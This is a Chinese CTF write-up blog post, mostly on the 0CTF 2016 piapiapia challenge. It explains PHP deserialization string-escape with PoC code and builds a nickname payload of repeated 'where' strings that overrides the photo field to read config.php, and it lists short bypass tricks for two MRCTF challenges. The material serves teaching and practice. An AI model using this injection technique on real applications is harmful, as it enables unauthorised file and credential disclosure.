备赛选择题大赛决赛之被迫成为web手

[0CTF 2016]piapiapia

  • PHP反序列化字符逃逸

PHP反序列化字符逃逸就是通过目标代码的一些操作改变序列化字符串的长度来导致反序列化漏洞。

原理

反序列化字符串变长逃逸

观察如下poc

<?php

function filter($string)
{
return str_replace('a', 'bb', $string);
}

class Test
{
public $username = 'aaaa';
public $passsword = 'bbbb';
}

$t = new Test();
$tmp = serialize($t);
printf("%s\n", $tmp);
// O:4:"Test":2:{s:8:"username";s:4:"aaaa";s:9:"passsword";s:4:"bbbb";}
$tmp1 = filter(serialize($t));
printf("%s\n", $tmp1);

我们在代码中加了一个filter函数,来将a替换为bb,我们分别用filter和不用filter序列化同一个对象观察结果。

可以看到字符串变长了,那么我们思考,字符串变长会发生什么?

答:我们可以人为构造恶意数据,字符串变长意味着可以逃逸,因为由于s:4的存在,该成员变量只会读取后四个字符来作为该变量,导致过长的部分可以“顶到”后面去,那么我们就可以构造恶意数据来篡改其他成员变量的值,比如加上”;}之类的来闭合数据,看如下实例:

<?php

function filter($string)
{
return str_replace('admin', 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', $string);
}

class Test
{
public $username = 'admin";s:8:"password";s:6:"hacker";}';
public $password = 'bbbb';
}

$t = new Test();
$tmp = serialize($t);
printf("%s\n", $tmp);

$t1 = unserialize($tmp);
printf("username->%s\n", $t1->username);
printf("password->%s\n", $t1->password);

我们尝试不加filter,然后正常序列化,发现构造的恶意数据逃逸不了,并不会因为双引号之类的特殊字符而造成闭合啥的

如果我们加了filter会变成这样

<?php

function filter($string)
{
return str_replace('admin', 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', $string);
}

class Test
{
public $username = 'admin";s:8:"password";s:6:"hacker";}';
public $password = 'bbbb';
}

$t = new Test();
$tmp = filter(serialize($t));
printf("%s\n", $tmp);

$t1 = unserialize($tmp);
printf("username->%s\n", $t1->username);
printf("password->%s\n", $t1->password);

因为'admin";s:8:"password";s:6:"hacker";}'长度为36,所以我们故意把filter把admin替换成长为36的字符串,这样就后面的";s:8:"password";s:6:"hacker";}'就可以逃逸出去,顶替成为类的成员变量。

反序列化字符串变短逃逸

先说核心思想,上文中提到的是字符串过长然后将恶意数据“顶出去”,从而将其他的类成员变量篡改;变短逃逸的核心原理是将字符串缩短,将php自己记录的数据当做字符串“缩回来”,从而使后面的恶意数据得以逃逸出去。

function filter($string)
{
return str_replace('abcdefghijklm', '', $string);
}

先看如下filter,会将13个字符的字符串替换为空,为啥长度是13呢,是因为我们要将系统数据包含进去的长度";s:8:"password";s:34:"abc"为26,正好是13的倍数,方便构造数据逃逸,我们且看下文。

<?php

function filter($string)
{
return str_replace('abcdefghijklm', '', $string);
}

class Test
{
public $username = 'abcdefghijklmabcdefghijklm';
public $password = 'abc";s:8:"password";s:6:"hacker";}';
}

$t = new Test();

$tmp = serialize($t);
printf("%s\n", $tmp);

$t1 = unserialize($tmp);
printf("username->%s\n", $t1->username);
printf("password->%s\n", $t1->password);

首先还是没有加filter的情况,很正常。

加上filter我们观察一下:

<?php

function filter($string)
{
return str_replace('abcdefghijklm', '', $string);
}

class Test
{
public $username = 'abcdefghijklmabcdefghijklm';
public $password = 'abc";s:8:"password";s:6:"hacker";}';
}

$t = new Test();

$tmp = serialize($t);
printf("%s\n", $tmp);

$t1 = unserialize($tmp);
printf("username->%s\n", $t1->username);
printf("password->%s\n", $t1->password);

题解

朴实无华的bootstrap风格的登录页面

sql盲测俩数据,发现不行,直接url栏里输入www.zip,wdnmd,真有源码,都不用扫的,👴🏻喜欢。

有如下文件,poc.php和info.php是我加的用来做测试用的。

发现config.php里面有flag

然后发现index.php是登录,并没有sql注入的地方,过滤的很好。

然后有注册功能,我们先按正常业务走走。

注册个账号

然后登录

登录成功后发现可以进行profile文件的更改,那漏洞大概在这没跑了,我们进到源码里面审计一下。

<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>

文件上传的地方看似没有校验文件类型,但是我们传php文件上去会被md5,后缀会被🐑了,所以没法利用。

信息输入完成后会调用update_profile函数,序列化profile数组,我们进去看看

会做filter处理,serialize + filter,DNA动了

处理完会update到数据库里面,然后转到profile.php显示信息:

<?php
require_once('class.php');
if ($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile = $user->show_profile($username);
if ($profile == null) {
header('Location: update.php');
} else {
$profile = unserialize($profile);
echo "unserialize:" . $profile . "<br>";
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname; ?></h3>
<label>Phone: <?php echo $phone; ?></label>
<label>Email: <?php echo $email; ?></label>
</div>
</body>
</html>
<?php
}
?>

这个地方会首先反序列化,然后可以读文件。

那么思路顿时清晰了起来,反序列化的变量我们是可控的,在update.php的那个地方我们能够填写表单来控制,然后我们如果把$profile[‘photo’]给改写成config.php那么这个题就做出来了。

回到我们可控的点update.php处,我们观察一些filter

因为要控制phpto这个字段,所以我们可以从nickname入手,通过传递数组即可绕过长度和正则判断。

我们先本地写一写poc来理一理思路

<?php

$profile = array("phone" => $_GET['phone'], "email" => $_GET['email'], "nickname" => $_GET['nickname'], "photo" => "upload/" . md5("lemon.php"));

$t = serialize($profile);
echo $t;
// a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"lemon@hacker.com";s:8:"nickname";a:1:{i:0;s:7:"payload";}s:5:"photo";s:39:"upload/31bddb5e1ea7e741dce2c091a0e8068d";}

我们看我们传入之后做的filter,在class.php中,又做了一层filter,本意是防止sql注入的一个utils方法,但是不应该用在序列化和反序列中,注意到,where是五个字符,会将其替换为hacker,变成六个字符,导致了反序列化字符串逃逸漏洞。

那么我们的payload应该如下构造,是以下面这种形式

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"lemon@hacker.com";s:8:"nickname";a:1:{i:0;s:7:"...";}s:5:"photo";s:10:"config.php";}

那么我们就要考虑长度问题,可以用where到hacker使之增长一个字符,

>>> len('";}s:5:"photo";s:10:"config.php";}')
34

这一段的长度为34,所以我们应该变长34个字符,用34个where即可变长34个字符,这样后34个字符可以逃逸出去,我们抓包来打这个。

访问profile.php,拿到base64encode数据

成功读取flag

[MRCTF2020]PYWebsite

看了wp,发现是提示“我自己”,于是该X-Forwarded-For,什么脑洞题😅

[MRCTF2020]套娃

  • 传参中的空格和小数点会自动替换为下划线
  • %0a可以绕过开头结尾的正则
  • Client-ip和X-Forwarded-For用来记录ip
  • file_get_contents利用伪协议可以绕过
文章作者: Alex
文章链接: http://example.com/2021/10/26/备赛选择题大赛决赛/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~